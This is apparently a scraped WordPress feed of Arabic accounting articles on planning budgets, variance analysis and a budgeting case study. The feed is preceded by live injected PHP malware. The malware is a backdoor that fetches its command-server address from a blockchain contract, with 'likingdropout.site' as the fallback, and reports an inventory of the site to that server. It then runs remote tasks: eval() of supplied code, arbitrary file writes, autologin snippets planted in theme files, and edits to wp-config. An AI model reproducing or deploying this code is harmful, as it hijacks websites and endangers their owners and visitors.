// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ادارة السيولة النقدية Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Tue, 08 Aug 2023 09:26:11 +0000 ar hourly 1 https://wordpress.org/?v=6.3.12 سلسلة مقالات-الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الرابعة https://cameknowledge.camecenter.com/articles/planning_budgets-4/ https://cameknowledge.camecenter.com/articles/planning_budgets-4/#respond Sat, 15 Apr 2023 15:11:19 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10512 سلسلة مقالات – الموازنات التخطيطية بقلم أ . د/ سيف الإسلام المقالة الرابعة خامسا : تحليل  انحراف الربح قد يرجع التغير فى مجمل الربح إلى واحد أو أكثر من الأسباب آلاتية : تغيرات فى أسعار بيع المنتجات . تغيرات فى حجم المبيعات تغيرات فى عناصر تكلفة المبيعات وقد تقسم التغيرات فى حجم المبيعات إلى عاملين […]

The post سلسلة مقالات-الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – الموازنات التخطيطية

بقلم أ . د/ سيف الإسلام

المقالة الرابعة

خامسا : تحليل  انحراف الربح

قد يرجع التغير فى مجمل الربح إلى واحد أو أكثر من الأسباب آلاتية :

  1. تغيرات فى أسعار بيع المنتجات .
  2. تغيرات فى حجم المبيعات
  3. تغيرات فى عناصر تكلفة المبيعات

وقد تقسم التغيرات فى حجم المبيعات إلى عاملين أساسيين

1- تغيرات فى في  الكمية ويقصد بالكمية عدد الوحدات المباعة

2- تغيرات فى تشكيلة المنتجات المباعة

ولتوضيح كيفية تحليل انحراف مجمل الربح نفترض البيانات التقديرية والفعلية آلاتية عن  الفترة المنتهية فى31 مارس 2005

بيانات تقديرية

منتج سعر البيع تكلفة الوحدة ربح الوحدة
أ 15 12 3 جنيه
ب 12 10 2 جنيه
ج 10 8.75 1.25 جنيه

 

منتج كمية المبيعات قيمة المبيعات تكلفة المبيعات مجمل الربح
أ 24000 360000 2880000 72000
ب 14000 168000 140000 28000
ج 4000 40000 35000 5000
إجمالى 42000 568000 463000 105000

بيانات فعلية

منتج سعر البيع تكلفة الوحدة ربح الوحدة  
أ 16 13.98 2.02 جنيه
ب 12 9.73 2.28 جنيه
ج 9 8.83 0.17 جنيه

 

منتج كمية المبيعات قيمة المبيعات تكلفة المبيعات مجمل الربح
أ 20448 327168 285860 41308
ب 16832 201984 163604 38380
ج 4420 39780 39028 752
اجمالى 41700 568932 488492 80440

 ويتضح من البيانات  التقديرية أن المشروع كان يتوقع تحقيق مجمل ربح قدرة 105000 جنيه على أساس بيع 42000 وحدة بمتوسط مجمل ربح 2.5 جنيه للوحدة ، ويحدد متوسط مجمل الرحب التقديري  للوحدة بقسمة مجمل الرحب التقديري على كمية المبيعات التقديرية كما يلي : 

105000

ــــــ = 2.5 جنيه للوحدة

42000

 ويتبين أيضا من البيانات الفعلية أن الشركة قد حققت مجمل ربح (80440 جنيه ) وهو يقل عن مجمل الربح التقديري (10500 جنيه ) بمبلغ 24560 جنيها وقد حققت الشركة أيضا متوسط مجمل ربح قدرة 1.93 جنيه للوحدة ، ويحدد متوسط مجمل الربح للوحدة بقسمة  مجمل الربح الفعلى على كمية المبيعات الفعلية كما يلي :

80440

ــــــ = 1.93 جنيه للوحدة

41700

وفى ضوء البيانات السابقة ، يتضح أن المشرع قد توقع تحقيق أفضل معدل ربحية من بيع المنتج(أ) واقل معدل ربحية من بيع المنتج (ج)  ، إلا أن النتائج  الفعلية أبرزت أن بيع المنتج (ب) قد حقق أفضل معدل ربحية بالمقارنة بالمنتجين الآخرين

ويقتضى تحليل  انحرافات مجمل الربح تقويم كمية المبيعات الفعلية بالأسعار ومعدلات التكاليف ومعدلات مجمل الربح التقديرية كما يلي :

منتج مبيعات تكلفة المبيعات مجمل الربح
  وحدات سعر قيمة معدل قيمة معدل قيمة
أ 20448 15 306720 12 245376 3 61344
ب 19832 12 201984 10 168320 2 23664
ج 4420 10 44200 8.75 38675 1.25 5525
إجمالى 41700 11.26 552904 10.85 452371 2.41 100523

ويتضح من الجدول السابق أن المشروع كان يمكنه تحقيق متوسط مجمل ربح 2.41 جنيه للوحدة إذا كانت المبيعات قد تمت بالأسعار ومعدلات التكلفة التقديرية. وقد أدت التغيرات فى حجم المبيعات وتشكيلة المبيعات وأسعار البيع ومعدلات التكلفة إلى تحقيق متوسط مجمل الربح الفعلى 1.93 جنيه للوحدة.

ولتوضيح الأسباب التي أدت إلى اختلاف مجمل الربح الفعلى ( 80440 جنيه) عن مجمل الربح التقديري ( 10500 جنيه ) تتبع الخطوات الآتية :

تحديد انحراف سعر البيع وانحراف حجم المبيعات جنيه
مبيعات فعلية 568932
وحدات مباعة فعلية بالأسعار التقديرية 552904
انحراف سعر البيع ( فى صالح المشروع) 16028
جنيه
وحدات مباعة فعلية بالأسعار التقديرية 552904
المبيعات التقديرية 56800
انحراف حجم  مبيعات  ( فى غير صالح المشروع) 15096
تحديد انحراف معدل التكلفة وانحراف حجم التكلفة  
جنيه
تكلفة المبيعات الفعلية 488492
وحدات مباعة فعلية بمعدلات التكلفة التقديرية 452371
انحراف معدل التكلفة ( فى غير صالح المشروع 36121
وحدات مباعة فعلية بمعدلات التكلفة التقديرية 452371
تكلفة المبيعات التقديرية 46300
انحراف حجم التكلفة ( فى غير صالح المشروع) 10629
تحديد انحراف تشكيلة المبيعات وانحراف حجم المبيعات النهائي  
ويكون انحراف حجم المبيعات وانحراف تكلفة الحكم كما يلي :  
انحراف حجم المبيعات ( فى غير صالح المشروع ) 15096
انحراف حجم التكلفة ( فى صالح المشروع ) 10629
انحراف الحجم ( فى غير صالح المشروع) 4467

يحلل صافى انحراف الحجم إلى انحراف تشكيلة المبيعات وحجم المبيعات النهائي كما يلي:

جنيه
وحدات مباعة فعلية بالأسعار التقديرية 552904
وحدات مباعة فعلية بمعدلات التكلفة التقديرية 452371
الفرق 100533
وحدات مباعة بمتوسط مجمل الربح التقديري  
(41700 ×2.5) 104250
انحراف تشكيلة المبيعات ( فى غير صالح المشروع) 3717
جنيه
وحدات مباعة فعلية متوسط مجمل الربح التقديري 104250
مبيعات تقديرية 56800  
تكلفة مبيعات تقديرية 46300  
مجمل الربح التقديري 105000
انحراف حجم المبيعات النهائي( في غير صالح المشروع) 750
وللتأكد من صحة التحليل سابق تجري الخطوة التالية  
انحراف تشكيلة المبيعات ( فى غير صالح المشروع) 3717
انحراف حجم المبيعات النهائي( في غير صالح المشروع) 750
4467

 

 

 

 

 

 

وتلخص الانحرافات التحليلية السابقة كما يلي

  وفر إسراف
انحراف سعر البيع 16028  
انحرافات تشكيلة المبيعات   3717
انحراف حجم المبيعات النهائي   750
انحراف معدل التكلفة   36121
إجمالى 16028 40588
ناقصا صافى النقص فى  مجمل الربح   16028
الانحراف  الإجمالى   24560

 

الموازنة التخطيطية

حالة عملية

شركة الصناعات العربية

 

شركة الصناعات العربية تستعد لأعداد جدول الموازنة التخطيطية لعام 2006 ومن حيث جميع الطرق المتعلقة بالتشغيل والبيع  وتجميع البيانات اللازمة  لأعدادها اتضح مايلى

تكلفة المواد

مادة 111                      سعر الوحدة   1.20 ج

مادة 112                      سعر الوحدة   2.60 ج

تكلفة العمالة المباشرة           تكلفة الساعة 2.05 ج

التكاليف الإضافية : يتم تحميلها على المنتجات على أساس ساعات العمل المباشرة

احتياجات المنتجات من المواد والعمالة المباشرة

                                     المنتج س                  المنتج ص

مادة 111                         12 وحدة                   12 وحدة

مادة 112                         6 وحدات                   8 وحدات

تكلفة العمالة المباشرة        14 ساعة                  20 ساعة

 

وكانت الميزانية العمومية للشركة فى نهاية  السنة السابقة مباشرة كما يلي :

الميزانية العمومية

فى 31 ديسمبر 2005

 

الأصول      
  أصول متداولة    
  نقدية 10000  
  حسابات قبض 25000  
  مخزون خامات 19000  
  مخزون منتجات تامة 14480  
      68480
  أصول ثابتة    
  أراضى 50000  
  مبانى وآلات 38000  
  ( ناقصا ) مجمع الإهلاك (75000) 355000
اجمالى الأصول     433480

 

 

 

 

 

 

 

المدفوعات

أجور غير مباشرة 95000
قوي محركة – الجزء المتغير 8000
المباعة – الجزء المتغير 20000
الإهلاك 25000
ضرائب مبانى المصنع 4000
تأمين مبانى المصنع 5000
تكاليف إشراف 20000
قوي محركة- الجزء الثابت 1000
الصيانة – الجزء الثابت 45000
  208000
مصروفات البيع والتوزيع والمصروفات الإدارية  
عمولة مبيعات 10000
إعلان 3000
مرتبات رجال البيع 10000
مصروفات انتقال 5000
مرتبات إدارية 10000
أدوات ومهمات إدارية 1000
رواتب الإدارة العليا 21000
مصروفات متنوعة 5000
  75000

 

ومن المقدر أن تكون التوقعات النقدية كما يلي

 

ربع سنوية……

  1 2 3 4
متحصلات من العملاء 12500 150000 160000 221000
مدفوعات        
مواد خام 20000 35000 35000 54000
مصروفات وتكاليف أخري 25000 20000 20000 17000
أجور 90000 95000 95000 109000
ضرائب 5000 ــــ ــــ ــــ
شراء آلات ــــ ــــ ــــ 20000
  76      

 

 الخصوم ورأس  المال

الخصوم المتداولة

حسابات الدفع                           82000

ضرائب مستحقة                        5000        

                                                                13200       

حقوق المساهمين

25000 سهم مدفوعة بالكامل           35000

أرباح محتجزة                           602800             

410280

إجمالى الخصوم ورأس المال                                    423480

 

 

 وبدراسة حجم الإنتاج والمبيعات المتوقعة خلال العام 2006 تم الوصول إلى البيانات التالية :

 

  المنتج س المنتج ص
حجم المبيعات المتوقعة بالوحدات 5000 1000
سعر بيع الوحدة 105.4 164.00
حجم المخزون المطلوب فى نهاية السنة بالوحدات 1100 50
حجم المخزون بى بداية السنة بالوحدات 100 50

 

وبالنسبة للمواد الخام أمكن الحصول على البيانات التالية :

 

  مادة111 مادة 112
المخزون فى بداية السنة بالوحدات 5000 5000
المخزون المطلوب فى نهاية السنة بالوحدات 6000 1000

وعند حجم الإنتاج والتشغيل المتوقع ينتظر تحمل التكاليف الاخري كما يلي :

تكاليف صناعية غير مباشرة

مهمات صناعية                                                30000 ج

 

وترغب الشركة فى الاحتفاظ بمستوي سيولة 15000 كحد ادنى فى نهاية كل ربع سنة ، ويمكن الاقتراض أو السداد في مضاعفات 500 ج بمعدل فائدة 10% سنويا ولا تزيد الإدارة في اقتراض موال اكثر من الحاجة وإذا استلزم الأمر ذلك فأنها تفضل السداد بأسرع ما يمكن وعلى أية حالة فان القروض لا يجب أن تستمر اكثر من سنة واحدة ، ويمكن الاقتراض فى هذه الحالة أو الاقتراض يتم فى بداية ربع السنة والسداد في نهاية الفترة

( تحسب الفوائد مقربة إلى اقرب جنيه )

 

 

 

 

 

والمطلوب : اعدد الموازنات التالية :

  1.  موازنة المبيعات
  2. موازنة الإنتاج
  3. موازنة مشتريات المواد الأولية
  4. موازنة الأجور المباشرة
  5. موازنة المصروفات الصناعية غير المباشرة
  6. موازنة المخزون آخر المدة
  7. موازنة تكلفة البضاعة المباعة
  8. موازنة  مصروفات البيع والتوزيع والمصروفات الإدارية
  9. إعداد قائمة الدخل التقديرية( مع اقتراض الضريبة لعام 2006 تعادل 20000 ج
  1. إعداد الموازنة النقدية الربع سنوية متضمنة الاقتراض والسداد والفوائد
  2. إعداد الميزانية العمومية التقديرية

شركة الصناعات العربية

جدول الموازنة التخطيطية

للسنة المالية المنتهية في 31 ديسمبر 2005

جدول 1 : موازنة المبيعات

المنتجات معدات سعر البيع إجمالى المبيعات
س

 

ص

 

 

 

 

 

      
إجمالى المبيعات التقديرية                      

 

جدول 2 : موازنة الإنتاج

  منتج
س ص
 

 

 

 

 

 

 

 
الإنتاج التقديري خلال الفترة

 

 

جدول 3 : موازنة المشتريات من المواد الاولية

المنتجات مادة111 مادة 112 إجمالى
 

 

 

 

 

 

 

 

      
اجمالى المشتريات التقديرية للفترة

 

مرفق جدول 3:        احتياجات الإنتاج من المواد وتكلفتها

المواد المنتج إجمالى المواد للإنتاج سعر شراء الوحدة تكلفة المواد المستخدمة فى الإنتاج
س ص
مادة 111 6000 وحدة  1000 وحدة
مادة 112
إجمالى

 

جدول 4 موازنة العمالة المباشرة

المنتجات وحدات الإنتاج التقديرية العمالة المباشرة لكل وحدة إجمالى الساعات المباشرة تكلفة الساعة تكلفة العمالة المباشرة
منتج س

منتج ص
الإجمالى

 

 

جدول :5 موازنة التكاليف الصناعية غير المباشرة

على  أساس مستوي تشغيل (         ) ساعة  عمل مباشر ( جدول 4 )

التكاليف المتغيرة

 

 

 

 

 

التكاليف الثابتة

 

 

إجمالى التكاليف الصناعية غير المباشرة التقديرية

 

معدل تحميل الإنتاج بالتكاليف الصناعية غير المباشرة على أساس ساعات العمل المباشر

 

                        ــــــــــ      =    ج  لكل ساعة عمل مباشر

معدل التكاليف المتغيرة =  ـــــــــــ  =    ج  لكل ساعة عمل مباشر

معدل التكاليف الثابتة = ـــــــــــ  =    ج  لكل ساعة عمل مباشر

 

جدول 6: موازنة المخزون فى نهاية الفترة

بيان وحدات تكلفة الوحدة إجمالى
المخزون من المواد

مادة 111

مادة112

المخزون من الإنتاج التام (الجدول المرفق)

منتج  س

منتج ص

 
إجمالى تكلفة المخزون التقديرية

 

 

جدول مرفق 6 :       حساب التكلفة التقديرية من الإنتاج التام

عناصر التكلفة تكلفة الوحدة المنتج س المنتج ص
       
مادة 111

مادة112

عمالة مباشرة

تكاليف غير مباشرة
التكلفة التقديرية للوحدة من الإنتاج التام          

 

 

جدول 7 : التكلفة التقديرية للبضاعة المباعة

التكاليف المصدر القيمة
 

 

 

 

 

 

 

 

 

 

 جدول 8 : موازنة مصروفات البيع والتوزيع والمصروفات الإدارية

مصروفات البيع والتوزيع

 

 

 

 

المصروفات الإدارية

 

 

 

  
إجمالى مصروفات البيع والتوزيع والإدارية  

 

 

جدول 9 الموازنة النقدية

بيان ربع السنة الإجمالى من السنة
الأول  الثانى الثالث  الرابع
الرصيد فى بداية  الفترة
يضاف متحصلات من العملاء
اجمالى النقدية قبل التمويل بالاقتراض
ناقصا : المدفوعات النقدية
اجمالى المدفوعات النقدية
الحد الادنى لرصيد النقدية
اجمالى النقدية المطلوب توافرها
الفائض أو العجز في النقدية
التمويل من الخارج
الاقتراض
السداد
الفواتير المدفوعة
الأثر المتجمع للتمويل من الخارج
رصيد النقدية فى نهاية الفترة

 

 

جدول 10 : قائمة الدخل التقديرية

  المصدر فرعى إجمالى
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ملاحظات  على الميزانية العمومية التقديرية

طرقة حساب البنود الظاهرة فى الميزانية العمومية التقديرية

 

(1) حساب القبض 

(2) مبانى وآلات

(3) الإهلاك

(4) حساب الدفع 

(5) الضرائب المستحقة

( 6) الأرباح المحتجزة

 

 

(3) شهادات متخصصة .

 

 

 

انتهت بحمد الله مقالات مسار كيم التعليمي للموازنات التخطيطية

بقلم أ. د/ سيف الإسلام

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات-الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/planning_budgets-4/feed/ 0 سلسلة مقالات-الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الثالثة https://cameknowledge.camecenter.com/articles/planning_budgets-3/ https://cameknowledge.camecenter.com/articles/planning_budgets-3/#respond Sat, 15 Apr 2023 15:02:56 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10507 سلسلة مقالات – الموازنات التخطيطية بقلم أ . د/ سيف الإسلام المقالة الثالثة الرقابة باستخدام  الموازنات  التخطيطية ومؤشرات تقييم الأداء       تشمل وظيفة الرقابة على مجموعة الأنشطة التي تعمل  على تحقيق الخطط الموضوعة ، وعلى ذلك فهي تتضمن قياس وتصحيح أعمال الأفراد القائمين بالتنفيذ الفعلى لتأكيد إنجاز الخطط والمعايير الموضوعية ، ويعتبر احد مستلزمات تنفيذ […]

The post سلسلة مقالات-الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – الموازنات التخطيطية

بقلم أ . د/ سيف الإسلام

المقالة الثالثة

الرقابة باستخدام  الموازنات  التخطيطية ومؤشرات تقييم الأداء

      تشمل وظيفة الرقابة على مجموعة الأنشطة التي تعمل  على تحقيق الخطط الموضوعة ، وعلى ذلك فهي تتضمن قياس وتصحيح أعمال الأفراد القائمين بالتنفيذ الفعلى لتأكيد إنجاز الخطط والمعايير الموضوعية ، ويعتبر احد مستلزمات تنفيذ عملية الرقابة هو تأكيد وضوح أهداف وخطط الوحدة الاقتصادية  ، وعلى  ذلك فان الرقابة تحتاج إلى وجود وسائل اتصال فعالة كأساس لحسن فهم الأهداف والخطط الرئيسية للمنشأة

 

وعموما فان عملية الرقابة باستخدام الموازنة التخطيطية تتم على ثلاث  خطوات رئيسية على النحو التالى :

 

  1. إعداد الموازنة التخطيطية التفصيلية
  2. تجميع بيانات عن الأداء الفعلى ، وتقييم هذا الأداء من خلال مقارنته بالموازنة والمعايير الموضوعة مسبقا
  3. تحديد الانحرافات والتعرف على أسبابها واتخاذ الإجراءات المصححة اللازمة .

 

تحليل انحرافات الموازنة

 

بقصد بتحليل انحرافات الموازنة تحديد الفروق والاختلافات بين تقديرات الموازنة والبيانات الفعلية عن نفس الفترة والتعرف  على أسبابها واتخاذ الإجراءات المصححة اللازمة وتشمل دراسة تحليل  انحرافات الموازنة على ما يلي :

أولا – تحليل انحرافات المبيعات

ثانيا – تحليل انحرافات تكلفة المواد

ثالثا – تحليل انحرافات  تكلفة العمل

رابعا – تحليل انحرافات التكاليف الصناعية

خامسا – تحليل انحرافات مجمل الربح

ونتناول فيما يلي دراسة كل من هذه النقاط على حدة على النحو التالى

أولا : تحليل انحرافات المبيعات

فى حالة استخدام نظام الموازنات التخطيطية ، تقارن المبيعات الفعلية بالمبيعات التقديرية لنفس الفترة ، وينتج عن هذه المقارنات انحراف قيمة المبيعات ، ويحدد انحراف قيمة المبيعات كما يسلى :

قيمة المبيعات الفعلية – قيمة المبيعات التقديرية               أو

( كمية فعلية × سعر فعلى ) – ( كمية تقديرية × سعر تقديري )

ويحلل انحراف قيمة المبيعات إلى الانحرافات الفرعية التالية :

1- انحراف كمية المبيعات      ويرجع إلى اختلاف كمية المبيعات الفعلة عن كمية المبيعات التقديرية لنفس الفترة .

2- انحراف سعر البيع .. ويرجع إلى اختلاف سعر البيع الفعلى عن سعر البيع التقديري .

3- انحراف المبيعات المختلط ويرجع إلى اختلاف كل من كمية المبيعات وسعر البيع فى وقت واحد

وتحدد هذه الانحرافات الفرعية كما يلي :

انحراف كمية المبيعات = سعر تقديري ( كمية فعلية – كمية تقديرية)

انحراف سعر البيع = كمية تقديرية × ( سعر فعلى- سعر تقديري )
